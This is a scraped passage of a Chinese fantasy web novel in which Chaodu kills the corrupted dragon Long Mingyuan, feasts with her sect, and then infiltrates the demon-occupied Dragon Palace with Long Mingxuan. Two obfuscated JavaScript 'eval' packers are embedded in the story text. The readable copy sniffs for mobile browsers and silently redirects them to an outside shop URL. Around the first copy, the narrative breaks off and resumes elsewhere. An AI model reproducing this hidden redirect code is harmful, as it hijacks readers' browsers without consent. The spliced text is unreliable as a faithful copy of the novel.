朝渡回头看去,龙游蓝扶着龙鸣玄一同飞过来了,落到了她身旁。 还没等他们站稳,几条龙共同发起了攻击:狂风,魔焰,怒潮一同打在百珍缀星伞上,伞微微摇晃,伞内安然无恙。 龙鸣渊化成人形,浮在空中,隔着伞望着崖上熟悉的身影,嘴角笑意天真无邪,眼中是冰冷的杀意。 “哥哥,你可真是不让我省心。”龙鸣渊笑吟吟道,“安心死了不好吗,为何还要复活?” 龙鸣玄望着如墨云海中的身影,目光黯淡,神色萧索。 龙鸣渊又笑道:“哥哥既然复活了,我也不会怪你,不过,我一听到你的消息,连夜奔赴千里而来,你不出来迎接我吗?就只是躲在屏障后面?哥哥你何时变得这么胆小,还是说,你不疼爱我了?” 龙鸣玄并不答他,转头望向朝渡,本想说话,却在这第一次看到她时不自觉呆愣片刻,回过神后他耳尖微红,垂下眼眸轻声道:“宗主,他应该是冲着我来的,把我交出去吧,我不能拖累你们。” 朝渡:“你来晚了。” 龙鸣玄:“……晚了?” 朝渡颔首,笑道:“我刚才已经跟她们说了,我一人足矣。” 龙游蓝当即不满道:“等会,你昨天还让我磨爪子等着呢,我爪子都磨好了,怎么没我的份了?” 良玥眼神一动,看向朝渡。 朝渡假装不知,微笑道:“那再多带你一个。” 龙游蓝一声欢呼,这才满意。 龙鸣玄左右看了看这一人一妖,忍不住提醒道:“宗主,这并非儿戏,龙鸣渊吸取了我的修为,实力大增,他还带了好几条龙来,这些龙不但入了魔还被做成了傀儡,不知疼痛,没有要害,很难对付!” 朝渡唤出千钧剑,手搭在剑柄上,悠闲道:“它们要是不入魔,对付起来才麻烦,现在简单多了。沧风将军,跟我来。” 朝渡在原地留下一个分身,本体御风飞出百珍缀星伞,龙游蓝吹了声口哨,兴奋地跟上。 在朝渡冲出伞时,她发现天道对自己的压制竟骤然一轻……如今她已恢复三成力量! 龙鸣渊眼神晦暗厌烦地看着这冲出伞的一人一龙,嘴角却仍然扬起,近乎撒娇般道:“哥哥,你再不出来的话,我就要收走她们的命了哦?就用杀你的方法,杀了她们,如何?” 龙鸣玄咬住唇,担忧地看着伞外的夕溯和龙游蓝,一枚精巧的雪花酥忽然出现在他眼前,挡住了他的视野。 朝渡分身把雪花酥递给他,微笑道:“别担心,坐下来吃吧。” 龙鸣玄一回头,发现后面竟不知何时摆了张桌子,上面摆满了各种美食,其余几人都已经吃上了。 不过几人吃归吃,眼睛都专注地看着伞外,神色或紧张或期待。 朝渡飞出伞外后,向化成龙形的龙游蓝叮嘱道:“你帮我拖住龙鸣渊,别让他跑了,其余的交给我。” 龙游蓝看清其它龙后,神色颇为难看:“其余龙,都是我曾经的朋友,龙鸣渊,我跟你拼了!!!” 他化成一道风飞向龙鸣渊与他缠斗起来。 朝渡抽出千钧剑,剑上雷光大作,她本人亦以雷光般的速度,迅疾袭向那数条魔龙傀儡。 龙族本身不惧雷电,可以说有些克制千钧剑。 但入了魔的龙就不一样了,它们面对千钧剑至纯至清的雷光,脆弱如纸。 被魔气污染的乌黑云海中,气势磅礴浩浩荡荡的雷光闪烁照亮各处,不断有巨大的灰烬坠落云层,然后在狂风下散落成雪。 片刻后,这云海的颜色竟慢慢变浅变白了。 龙游蓝和龙鸣渊打着,发现周围的变化,忍不住震惊:“你那边打完了?你这也忒厉害了吧?!” 龙鸣渊也发现形势不对,惊疑不定地望向朝渡:“你究竟是什么人?怎么这么强?!” 朝渡提剑封锁他的退路,笑问:“给你传消息的人,没提醒你吗?” 龙鸣渊脸色发白,又强撑着冷笑:“你剑中的雷,可伤不了我。” 朝渡没再跟他废话,直接攻向他,速度快到仅余一线雷光残影。 龙鸣渊慌乱中顾不得进攻,本能地试图逃离,但他逃离的速度远不及朝渡袭来的速度。 意识到这一点,他立即将身躯盘旋起来,以磅礴灵力为盾,又龙气和灵力共同覆盖本就坚硬的鳞片,这样一定…… 只是一瞬,他感觉头顶猛地一轻。 一对青金色的龙角自他眼前跌落云层,片刻后在无名的湖泊中“砰然”激起数丈高的水花。 “我的角……?我的角!!!”龙鸣渊发出撕心裂肺地嘶吼,金色的血从断掉的龙角根部不断涌出,流经他的眼尾,仿佛眼泪,如雨般落到下方的湖泊中。 他的眼中顿时布满血丝:既是因为恨也是因为剧痛。 龙鸣渊用通红的眼睛死死盯着朝渡:“你怎么可能伤到我?!你的剑……变了?!” 朝渡轻抚手中天青色小剑,此剑剑身极薄,若在不善用剑的人手中,也许不小心便折断了,但在她手中几乎可以切开一切坚硬或柔软之物。 不过方才能破开龙鸣渊的防守,不止是因为这把剑,而是她将自己也彻底灵力化,化形为一道极窄极细的剑气,在瞬间穿透龙鸣渊的灵力盾后,再以天青色小剑破开龙气切断龙角——她很努力地在节省灵力了! 如果是在以前灵力充沛的时候,她会直接一剑斩碎他的护盾和他的角,哪用得着这样换来换去花里胡哨的折腾。 崖边的龙鸣玄望着这一幕喃喃道:“这是以身化剑,是比人剑合一更高的境界……竟然真的有人达到了这个境界?” 另一个朝渡筷子中的红烧肉落了下来,她茫然看向苏刺:“你刚才看清了吗?” 苏刺尴尬摇头:“没看清,太快了……比眨眼都快。” 岁喜叹道:“你们都看不清,我这老花眼更别提了。” 良玥原本看得津津有味,听到四人的话,连忙道:“我也没看清,但感觉太精彩了!” 越来越接近白色的云海中,龙鸣渊紧紧盯着朝渡手中的天青色小剑,质问:“这剑中,为何会有哥哥的气息?!” 朝渡懒得答他,目光淡漠地扫过他的要害和破绽处:杀他不难,但该怎么让他偿还他做的孽呢? 下一瞬,她的身影自原地消失,龙鸣渊这次竟没有逃——也许是因为被她斩断龙角,正怒火中烧,也许是因为他已经知道自己逃不掉了。 但无论龙鸣渊逃与不逃,他的结局已经注定。 在他出招之前,朝渡将天青色小剑化为五片薄刃,分别射向他的四肢与尾部,在天青色小剑穿透相应位置的鳞片后,五柄来自待仙塔的名剑紧随其后,钉入其中,并借着巨大的推力,将他牢牢钉在了山崖的“仙隐宗”三个字下方! 而后,五片薄刃重新凝成了天青色小剑,剑尖静静指着他心脏外的那片鳞。 龙鸣渊缓缓低头查看自己的情况,她方才控剑的速度快到他根本没有反应过来! 片刻后,他不可思议地抬起头,眼中布满了恐惧:“你到底是谁?!” 朝渡淡淡道:“你不必在乎我是谁,你只需回想自己的罪孽。” “我的罪孽?我的罪孽哈哈哈哈!”龙鸣渊忽然爆发出一阵癫狂的笑声,“我有什么罪孽?如果不是他在我出生前就夺走了我的一切,我会走到今天?!我的哥哥,我的好哥哥,他对我好才是在赎罪!他为何被我杀时毫不反抗,他也知道,那都是他欠我的!!!” 朝渡摇头:“无可救药。” “我无可救药?”龙鸣渊嘻嘻笑道,“我让你看看谁才是真正的无可救药!” 他仰起头悲鸣道:“好疼啊,哥哥,她要断我的手拔我的鳞!哥哥救救我!你一定不舍得我疼不舍得我死吧?我是你最疼爱的弟弟啊!” 龙鸣玄迟疑地看向朝渡留下的分身:“你真的要将他断手拔鳞……?” 朝渡虽然压根没这打算,但看他的反应,忍不住问道:“你打算替他求情?他都把你害成这样了。” 龙鸣玄垂下眼眸,苦涩叹息:“他终究是我的弟弟。” 朝渡:“……罢了,我本就打算把他交给你处置。他现在被钉在山崖下,你想怎样处置都随意。” “多谢。”龙鸣玄站起身,深深向朝渡行了一礼,“不过我现在灵力微弱,可否将我带到山崖下?” 朝渡分身颔首,扶着他,带他飞到了龙鸣渊身前。 龙鸣渊可怜兮兮地望着他:“哥哥,我就知道你不舍得我受苦,不舍得我死……” 龙鸣玄轻轻叹息,抬起手,指向龙鸣渊的心脏位置,询问朝渡:“宗主,能带着我再往前一些吗?” 龙鸣渊一愣,开心笑道:“哥哥,你是要把剑拿走对吗?” 龙鸣玄不语,朝渡让分身扶着他去往他想去的位置。 龙鸣玄沉默地离龙鸣渊越来越近,龙鸣渊越来越暴躁:“你到底想做什么?!难道你想杀我?你配杀我吗?!你欠我那么多,害我那么惨!你下辈子也该给我还债!” 龙鸣玄站定,抬起手,缓缓将那柄天青色小剑推进了鳞片中。 金色的血源源不断自龙鸣渊嘴角涌出,而他仍在叫骂不停。 龙鸣玄仿佛没有听到,只是转过头,对朝渡浅笑道:“宗主,多谢你帮我报仇,我又欠你一个恩情。” 朝渡:“……”大意了,现在补充他其实也帮她报过仇,他会信吗? “不必在意,举手之劳。”朝渡轻咳一声,转移话题问,“你没有什么最后要对他说的吗?” 龙鸣玄淡淡摇头:“他已无可救药,不必多言。” 龙鸣渊用血红的眼睛死死盯着龙鸣玄,时而叫骂时而撒娇求饶,但声音总归越来越弱,直到彻底停止。 龙鸣玄被扶着回到朝渡身旁,微微松了口气,再次道谢:“今日实在多谢宗主相助,不然不知要到何时我才能替死去的龙族报仇。” 朝渡:“无妨,不过这个,你打算怎么处置?”她指了指崖上已经没有生息的龙,收回天青色小剑,将它重新化成龙角,递给龙鸣玄:“多谢相借,原样奉还。” 龙鸣玄摇头:“我已送给宗主,这点薄礼宗主不嫌弃便足够了,不必再还,至于他……小蓝!” 他将龙游蓝唤了过来,嘱咐道:“小蓝,你带着他回到龙宫,便说是你和宗主杀了他为我报仇,然后救出父王和母后,剩下便由他们安置吧。父王母后一定会赏赐你和宗主,你多挑些珍贵的带给宗主。” 朝渡提醒道:“对了,记得从龙宫拿海灵贝和珍珠,这样才能帮他重造身体。” “不必了。”龙鸣玄伸出手,片刻后,一枚黯淡的金丹从龙鸣渊腹部浮出,落到了龙鸣玄掌心中,重新变得明亮,“这里面本就有许多我的灵力,我可以用它支撑这具皮囊近千年,远远够用了。” 朝渡一怔,骤然想起,在原本的世界中,杀了龙鸣渊之后,龙鸣玄完全没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他本就长了双漂亮眼睛,眼睛修长,眼尾上翘,此刻眸中还有点点波光流转,似无声诉说着某种期待。 对视一瞬,他立刻移开眼,假装望向仙隐宗的几人,耳尖却悄无声息地染了些石榴花的红艳。 朝渡明知自己在这个世界不会长留,想起原本世界中他数次失落的眼神,在这里,她想稍微弥补一些。 “欢迎呀!”她笑道。 他惊喜地望向她,眸中有涟漪轻轻荡漾,久久不散。 另一个朝渡与仙隐宗其他弟子道贺,只有龙游蓝唉声叹气,悄悄抹泪。 随后,龙游蓝便向龙鸣玄与朝渡提出,他要立刻回龙宫,救出先王与先王后。 朝渡让除了龙鸣玄之外的人各自去练剑,崖边只剩下一人两龙。 朝渡向龙游蓝叮嘱道:“龙宫形势不明,你回去时务必小心,这枚传音玉简你带着,有什么消息及时告诉我们,另外,我想让你帮个忙。” 龙游蓝顿时激动起来:“你只管说!我一定帮!豁出命也帮!” 朝渡笑着摇头:“没那么危险,我只是希望你帮我查一查,是谁给龙鸣渊传的消息。” 龙游蓝拍了拍胸脯:“好,包在我身上!” 随后,龙游蓝与龙鸣玄告别,便收起龙鸣渊,从湖中捞出它的角,出发前往龙宫。 到了晚上,仙隐宗再度举办宴席,欢迎龙鸣玄加入仙隐宗。 这次参宴的人和妖多,宴席位置选在了湖心玉台。 玉台上空,明月舞云袖,烟花歌不尽。玉台周围,荷花灯浮在空中与湖面上,轻轻摇曳,像一场静谧的美梦。恍惚间分不清是月下湖还是水中天。 宴席开始前,按仙隐宗惯例,朝渡要准备一个礼物送给新弟子。 朝渡取出一个长盒子,捧在手中笑吟吟地问龙鸣玄:“要猜猜看是什么吗?” 月色与湖光一同融在他眼中,交织成一片灿烂,唯有她的眉眼与笑容清晰可见。 “我猜不到。”他轻笑摇头。 她就像个谜,他已入迷,却猜不透这谜题。 朝渡将盒子打开,里面是一柄长剑:镂空的白玉剑鞘,可以看到鞘中天青色的剑刃,整剑似白云映晴空,又似冰川浮碧海。 龙鸣玄眼前陡然一亮:“此剑超凡出尘,清逸不俗,宗主有心了,不过,你知道我会用剑?” 朝渡颔首,没有多解释,只道:“来试试?” 龙鸣玄取过剑,将剑抽出,沉默片刻:这剑刃,是由他龙角所制,她终究是将它换了种模样还给他。 是他想多了吗?她似乎总是在有意撇清与他的关系,比如明明救了他,帮他报了这么大的仇,却不想让他报恩,就算收了他送的礼物,也要想方设法还回去。 她说,与他是梦中相识,梦中他与她究竟经历了什么,才让她如此与他划清界限? 龙鸣玄心中不解,面上只是微微一笑:“是柄好剑,我很喜欢,多谢宗主。”然后便将剑重新收入鞘中。 朝渡亦是微笑:“喜欢便好,你如今正缺柄剑护身。”除了增加剑鞘,她还给这剑做了改造,让它的剑身没那么薄,更不易断,而且剑刃的长宽参考了他原本的佩剑……或许是他当剑灵时习惯了千钧剑,他的佩剑与千钧剑颇为相似。 另一个朝渡左右看了看,总感觉这两人有哪里不对劲,可能是两人笑得……都有点假? 幸而,宴席很快开启,这种微妙的尴尬没有持续太久,便被觥筹交错,欢声笑语取代。 宴后,几人或休息或修炼,朝渡难得松了口气,但今天消耗灵力不少,她来不及休息,回到自己小楼的露台在月下继续修炼,直到忽然收到龙游蓝传来的消息。 ‘这么快就到了?他速度确实快。’她心里想着,打开了传音玉简,龙游蓝惊恐的声音从里面传了出来: “龙宫里好多魔修,我听他们说,魔尊也来了!魔尊要让所有妖都入魔!都变成傀儡!” 41. 魔尊的邀请 朝渡一愣,顿时严肃起来:“魔尊在龙宫?!” “对,而且魔尊的计划好像成功了,到处都是入魔的妖,这些妖都死了,只剩入魔的壳子在海里游荡!”龙游蓝声音颤抖,像是看到了极其可怕的景象,“对了,不止是妖,连那些普通的小鱼小虾也都入魔了,整片海都是腐烂的味道!整片海的海水都发浑发黑!” 朝渡眉头紧锁,追问:“你现在在哪?安全吗?” 龙游蓝连声道:“安全安全,我一到海边就发现不对劲,偷偷游到龙宫一看这种情况,我就赶紧逃了出来,现在在海边空中,对了,连海边这些鸟也是这种情况!一看到我就疯了一样来叨我,唉,刚打趴一群又来一群……不对,这群黑鸟不太对劲,它们长得好奇怪……” 传音玉简中传来一阵阵狂风呼啸的声音。 片刻后,风声停止,传音玉简中响起一个女子的声音:“夕溯?” “……灵逆。” 朝渡念出了她的老熟人老对手的名字。 魔尊灵逆。 另一边,灵逆有些惊讶:“你认识我的声音?” 朝渡眉头微蹙:“待仙塔里听过,你想做什么?” “我的大部分目的,他刚才已经告诉你了。”灵逆声音淡淡,仿佛让整片海的妖变成入魔,于她而言不过是喝杯茶。“不过,他还有一点没说,我想见见你。如果你过来,我可以暂时留下这条龙和其它妖的性命。” 朝渡:“……好,我去。” “哦?你真的来?”灵逆自己倒是惊讶起来,“看来师尊说得不错,你确实和那些假仁假义的修仙者不一样。不过我不喜欢等,希望你来快点,如果你来得慢,晚一天,杀一千,直至杀尽。” 朝渡:“……知道了。” 传音玉简暗下去。 朝渡蹙眉思索片刻,立刻联系了游藏:“龙宫与碧金海出事了,仙盟对此可知情?” 传音玉简的另一侧,翻书声中夹杂着游藏的声音:“自十年前龙鸣渊与魔尊鬼王结盟,共袭修仙界,仙盟便与那边断了联系,出什么事了?” 朝渡将刚才所听告知游藏,另一侧的翻书声停了,游藏沉默片刻,才问:“魔尊和鬼王应该已经做好了杀你的准备,你真的要去?为了那些妖?” 朝渡道:“嗯,妖只要没害过人,也可以成为我们的朋友,一同对抗魔尊与鬼王,而且,现在不救这些妖,就是在壮大魔尊与鬼王的力量,到时候修仙界要如何应对?我得去,但如果只是我自己去,我未必能活着回来。”她的灵力本身就被封印了大半,而且近日灵力消耗太多,对手却是有备而来的魔尊和鬼王。 游藏:“……我明白了。仙盟这边交给我,我会尽可能说服仙盟派人去帮你。” 朝渡松下一口气,笑道:“就知道你靠谱!” 游藏的声音也难得带了点笑:“你倒是信任我。” “那当然,我们认识那么多年了。”朝渡毫不犹豫,“我相信,不论哪个世界的你,本质都是一样的。” 传音玉简那边沉默无声,朝渡又道:“对了,要尽快,能来多少人就先来多少人。” 游藏:“放心,我明白,预计最快的一批人明天傍晚能到碧金海,另外,小心良玥。” 朝渡:“他的底细查到了?” “查到了。”游藏道,“确实有一个名叫良玥的少年,在雨萤山养病十年,山中妙药派诸人皆可作证。不过他们说,良玥的病是先天不足,与宁长康的病类似,很难治愈,需要一直吃药,而就在不久前,良玥的病突然好了,说是家中替他求得了灵药秘方,可无论妙药派的人怎么打听请求,他都不肯透露这秘方究竟是什么。还有人觉得,他自从病好了后,性格开朗了许多。” 朝渡了然轻笑:“开朗到就像变了个人?” 游藏:“虽然他性格大变可能真是因为大病痊愈,但他病好的时机实在巧,就在你说仙隐宗要招人后。” 朝渡“啧”了一声:“可见这秘方就是我仙隐宗。” “……你还有心思开玩笑。”游藏轻叹,“魔尊和鬼王怕是都已经盯上你了。” 朝渡笑了笑:“说明她们眼光不错,我这就去登门致谢。” 游藏也笑了起来,说不清是被逗笑的还是无语笑的,总之笑叹道:“怎么会有你这种人……我真心希望,你能活着回来。” 朝渡:“放心,问题不大。” 传音玉简再次黯淡下去。 朝渡收起玉简,一抬头,月华无边,湖光粼粼,夜风温柔缠绵地吹过她的袖子,仿佛无声挽留: 如此良辰美景,何苦辜负,去赴那与你无关,生死难卜的局? 朝渡轻轻一笑,目光坚定:她所说的诛邪魔,定清平,绝不是一句空话。 该出发了。 不过,要跟另一个自己说一声吗?而且此事牵扯到龙宫,要告诉龙鸣玄吗?以及良玥要如何提防? 朝渡略一思索,留下一个分身,随后飞向龙鸣玄所住的湖边小楼。 不必同另一个自己当面说了,一来时间紧张,二来,若告诉另一个自己,她会担心,会想陪她一同前往,太危险了。三来,若自己万一回不来……她想,另一个自己已经有勇气继续前行了,那枚护身锦囊也会一直陪着她。 但她得把这件事告诉龙鸣玄,还要带他一起去,因为龙宫中存在一些密道,唯有龙族之主与其继承者可以开启。 朝渡虽已知道这些密道的位置与开启办法,但没有龙鸣玄的魂魄,这些密道依然无法打开。 不过,把这件事告诉龙鸣玄也有点小麻烦。按照朝渡对他的了解,他听后一定会愧疚,会觉得都是因为他苏醒复活,引龙鸣渊过来,才让魔尊有可乘之机,害了更多妖,并且牵连到她……路上好好安慰一下吧。 朝渡没飞多远,就能看到龙鸣玄趴在小楼栏杆上,晒着月亮,吹着湖风,赏着山景,十分轻松惬意的样子。 于他而言,百年没有这般宁静的时刻了吧? 朝渡停顿了一瞬,但他已经看到了她。 朝渡定了定神,继续飞过去,在他身旁落下,硬着头皮正要开口,却发现他神色呆呆的,只有眼睛亮亮地,一眨不眨地看着她。 朝渡:“……?” 她轻咳一声。 龙鸣玄蓦地回过神来,瞬间转过头,红了脸颊,手指捏紧了栏杆,脑中却还是方才那一幕:他的明月,乘着清风从天而来,落到了他身畔,如此明亮,如此皎洁,连天上那轮月都黯然失色。 他不敢再看他的月,红着脸轻声道:“夕宗主……” 朝渡见他回过神,便直接道:“龙宫出事了,魔尊占领了龙宫,抓住了龙游蓝,她要让整片碧金海的妖都入魔变成傀儡。” 龙鸣玄愣住,缓缓咬紧了牙:“魔尊……” 朝渡继续道:“我需要你的帮助,你愿意跟我一起去吗?提醒一下,很危险,未必能活着回来。” 龙鸣玄毫不犹豫地道:“去。只是抱歉,似乎又牵连到了你,是不是因为我苏醒才会……” 朝渡早有预料:“停,剩下的路上再慢慢说。” 龙游蓝卡壳了一下,有点尴尬,剩下更多的却是一种微妙的,难以形容的……轻快?安心? 就像即将跌下悬崖,有个人忽然拉住他,让他先停一停别继续掉下去。 这是她第几次拉住他了? 朝渡不知道他心里的千回百转,她唤出白玉鹤,特意将它变大了些,两人飞上白玉鹤,直奔碧金海。 路上,朝渡将与龙游蓝、灵逆以及游藏的对话都详细告诉了他。 龙鸣玄震惊地看着朝渡,久久无言。 朝渡无奈道:“至于这么惊讶吗?” 龙鸣玄缓缓点头:“我未曾想过,会有人为了救妖族,不惜性命。” 朝渡微笑:“我还是很惜命的,只是有些路,哪怕明知是死路,也得闯一闯,争取闯出一条活路来。而且我这不是做了很多准备嘛,魔尊真想杀我也没那么容易。等这件事过去后,龙宫或许可以与仙盟成为朋友,共同对抗魔尊与鬼王。” 龙鸣玄不知不觉间又望了她很久,朝渡感受到他的目光,如芒在背坐如针毡,转移话题道:“总之,这事你不必愧疚,要怪就怪魔尊鬼王这两个黑心肝黑手腕的,怎么能怪你。” 龙鸣玄听着她说话,不由低笑:“好。” 朝渡:不知道为什么,感觉更别扭了……已经比平时大了一圈的白玉鹤,此时为何感觉还是这般狭小? 下午,碧金海。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732408|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝渡坐在白玉鹤上,隐蔽起自己与龙鸣玄的气息,给游藏传了消息,随后俯瞰这片漆黑的魔海。 此时的碧金海,本该碧波悠悠,浪花缀金,鸟歌清风,鱼舞海面。 如今却只剩漆黑的海浪翻腾着怒吼着,浪里游荡着长相诡异的魔鱼,海风里充斥着令人作呕的腐烂气息,成群的黑色魔鸟盘旋着发出刺耳的尖锐鸣叫。 根据龙游蓝的遭遇来看,这些魔鸟已经被魔尊控制了,不过它们目前还没发现隐身的两位来客。 现在她还能安然无恙地撤离,但这不在她的考虑范围。 朝渡只是在思索着一个问题:魔尊,究竟是如何在短时间内,将整片碧金海污染成这样的?如何使那么多妖集体入魔并成为空壳傀儡的? 她带了多少魔修才能做到这件事?又或者,不是靠魔修人数,而是另有办法? 比如用了某种阵法或者法宝? 朝渡垂眸打量漆黑的海浪:海水已被魔气完全污染,无法共鸣,一旦入海,便难以完全隐蔽,或许会被魔尊发现。 若是单论对敌,也许在海上空中她还有些优势,至少能全身而退。 但她来这里,不是为了跟魔尊打一架,而是为了救出还没入魔的妖,解决掉这片海的污染。 她得入海,得找到龙游蓝和其它妖,找到魔尊污染这片海的办法。 朝渡视线快速掠过海面,找到魔气最为浓郁的方向,询问龙鸣玄:“那个方向是龙宫吗?” 龙鸣玄目光凝重:“正是。” 朝渡颔首:“我们过去看看。” 白玉鹤降到海面上,没有惊扰一只魔鸟。 即将触碰到海面时,白玉鹤又幻化成一条逆戟鲸,尾巴一摇,隐着身无声无息地融进了这片海中。 朝渡与龙鸣玄坐在逆戟鲸背上,路过一群群癫狂的魔鱼,远远地看到了龙宫:原本金碧辉煌,在珊瑚间熠熠生辉的龙宫,此刻被浓雾般的魔气笼罩,黯淡无光,如明珠蒙尘。 龙宫大门处,不见曾经的妖兵龙将,而是由几个满身煞气的魔将把守着。 龙宫周围,一群满身魔气的妖如傀儡一般游荡着,它们的胸腔处空空如也,仿佛被掏了个干净,只剩一个壳子。 朝渡一看便知,这是魔修所为,也就他们热衷于“掏心掏肺”了。 龙鸣玄悲痛地看着龙宫与周围成为傀儡的妖,朝渡轻咳一声,暗示问:“直接闯龙宫有点麻烦,有没有什么偷偷潜进去的法子?” 龙鸣玄毫不犹豫道:“有!去西南边的珊瑚林里,那里有一条直接进入龙宫的密道。” 朝渡颔首:这与原本世界中,龙鸣玄告诉她的密道位置一致。这条密道,连龙鸣渊都不知道,魔尊她们应该也不知道,还是相对安全的。 朝渡指挥逆戟鲸前往珊瑚林,路上,龙鸣玄望着越来越近的珊瑚林轻声道:“这片珊瑚林,也是龙族的墓地。龙族虽有万年之寿,但因为许多原因,不少龙族……早早便沉眠于此。而且龙角龙鳞龙骨材质特殊,被许多妖与人觊觎,许多龙连完整的身体都难以留下,最后葬在这里的,也许只是它幼年时的玩具。” 朝渡是第二次听到关于珊瑚林的故事了,上一次来这里时,还是剑灵的龙鸣玄同她说过相同的话。 她轻轻叹息,随着越来越接近珊瑚林,她忽然发现,珊瑚林中竟有不少被翻动的痕迹。 “那些魔修,竟连这里也不肯放过!”朝渡咬牙切齿,龙鸣玄更是痛心切骨,紧紧握着手,气恨到脸色苍白。 朝渡视线迅速地掠过珊瑚林边缘一株不起眼的白色珊瑚:那里是密道的入口,没有墓碑,似乎也没有魔修翻动过,应该没有暴露。 她让逆戟鲸在白色珊瑚处停下,一回头却对上龙鸣玄惊疑不定的目光。 朝渡:“……”刚才一激动,忘了自己现在“不该”知道密道入口的。 “你怎么知道的?”龙鸣玄疑惑不解地望着她,“难道……难道我在梦中连这个也告诉你了?” 朝渡:“……嗯。” 龙鸣玄敏锐指出:“可你刚才还问我有没有秘密潜入龙宫的法子。” 朝渡:“……唔。”他好难糊弄。 龙鸣玄深深望着她:“你想瞒我什么?你究竟是怎么得知密道入口的?” 42. 龙宫 朝渡捏了捏眉心,正发愁要怎么回答,却听龙鸣玄忽然道:“罢了,我相信你。” 朝渡:“……哎?” 龙鸣玄抬起眼,温柔地看着她:“如果是你的话,我或许真的会在梦中告诉你。但是你怕难以解释,所以方才不想让我察觉。” 朝渡:“……没错,就是这样。”多合理的解释! “我们先进去吧。”龙鸣玄深深看了她一眼,离开逆戟鲸,游到了白色珊瑚前,开始启动珊瑚中的阵法。 朝渡警惕观察四周环境:那些魔修似乎把这里挖完就走了,只有少数魔物在游荡,连空荡荡的傀儡壳子都没几个,应该是比较安全的。 龙鸣玄将手按在白色珊瑚上,闭上眼沉默片刻,白色珊瑚看起来毫无变化,但朝渡知道,入口已经开启了。 片刻后,龙鸣玄睁开眼,对她点头:“打开了,跟我来。” 他游进白色珊瑚中,消失得无影无踪,朝渡收回逆戟鲸,紧随其后。 一刹的黑暗后,点点阵法的荧光照亮了前进的道路。 龙鸣玄将手按到阵法上,将入口关闭,随后掌心浮起一团天青色的火焰。 轻轻摇曳的火光将两人的身影笼罩。 他侧头看向朝渡:“你知道这个是什么吗?” 朝渡点头:“魂焰,可以引路,而且焰灭则死。” “我居然连这个都告诉你了……”龙鸣玄无奈摇头,“我在梦中究竟……” 朝渡莫名有点心虚地移开了视线,转移话题道:“我们快些走吧,时间紧。” 龙鸣玄向前游动,为她引路,漆黑的密道中,他掌中的魂焰是唯一的光源。 两人沉默地游了片刻,龙鸣玄忽然问:“你把我带过来,其实就是为了走这条密道吧?” 朝渡坦荡道:“确实。我说过,我惜命,若是直闯龙宫,走到魔尊和鬼王精心为我准备的‘宴席’里,我活下来的机会很低。” “你倒是直白。”龙鸣玄轻轻笑了笑,“比那些总是搞许多弯弯绕绕的老古董好太多了。” 朝渡:“……哎?”好像忽然被夸了? 在朝渡看不到的前方,龙鸣玄脸颊微红,已经完全理解了“梦中”的自己。 又过片刻,龙鸣玄的声音轻轻从前方传来:“我们在梦中……算是什么关系?” 朝渡:“……算是……关系不错的朋友。” 龙鸣玄:“……这样吗?”他的声音听起来有点失落。 朝渡莫名不敢再说什么,幸好他也没再追问。 接下来,两人谁都没有说话,只是尽快地向前游着。 漫长的密道似乎看不到头,时不时还有许多阴森森的岔路,不知通向何处,也许是某个不起眼的角落,也许是某个重要的房间,又或者是一处充满杀机的阵法。 偶尔还会路过一重重机关,如果没有魂焰保护,大抵会当即化为灰烬。 “快到龙宫了,你有具体要去的地方吗?”龙鸣玄忽然问,“这处密道的出口有好几个,比如龙宫大殿,父王的书房,我的寝殿……” 朝渡反问:“龙宫有没有什么法宝,能够影响整片海?” 龙鸣玄:“有,定海珠。” 朝渡说出自己一路的推测:“我怀疑,魔尊可能是通过污染定海珠来在短时间内使这么多的妖入魔,再由魔修将这些妖做成傀儡,定海珠存放在哪?能直接去吗?” 龙鸣玄点头:“定海珠供奉在清波殿中,从密道里可以直接去。” 朝渡又问:“那关押龙游蓝和其它妖的地方,你觉得会在哪?” “这个不太好说……”龙鸣玄蹙眉摇头,“龙宫虽有牢房,但魔尊未必会把小蓝他们都关进去。” 朝渡思索片刻道:“我猜,灵逆也许会把他们放在我一进龙宫就能看到的位置,比如龙宫大殿,或者大殿前的广场上,这样才好要挟我。一会我先去清波殿,你去龙宫大殿处的出口观察一下外面的情况,我记得密道内是可以看到外面的情况的?” 龙鸣玄点头:“可以,你是打算?” 朝渡微笑:“龙宫大殿或许是他们重兵防守之地,我先在清波殿搞出点动静,把魔尊她们吸引过去,待龙宫大殿中防守少了,你也许有救出龙鸣蓝他们的机会,如果没有,别冒险,找机会从密道离开就好,待后面仙盟的人来了,她们也会去救的。” 龙鸣玄微怔:“可没有我引路,你无法再次进入密道。” “你若要为我引路,就得离开密道找到我,这会暴露你,也会暴露密道,很危险。”朝渡活动了下手腕,笑道,“无妨,我也想跟灵逆过两招,看看她这十年,能长进多少。对了,中间可能会把龙宫损毁一点,问题不大吧?” “不大……没有任何问题。”龙鸣玄忍不住问,“可是仙盟的人,真的会来吗?如果她们不来,你将孤立无援,而且回不到密道中,魔尊哪怕一时打不过你,但可以用车轮战将你的灵力耗干,你……” 朝渡笑道:“停停停,盼我点好的吧,仙盟的人会来的,相信我。” 龙鸣玄咬唇沉默,带着她游进一处岔路中,片刻后,一个阵法被魂焰照出了形状。 龙鸣玄将手按在阵法上,阵法逐渐变得透明,映出外面的情形: 清波殿中原本清澈的海水此时竟几乎变成黑红色的血水,地面上到处散落着原本托起定海珠的珊瑚碎块。 而曾经皎洁如月的定海珠,此刻竟泡在炼仙炉中的血水里,整颗珠都变成了不详的暗红血色,向周围一圈圈地扩散着魔气。 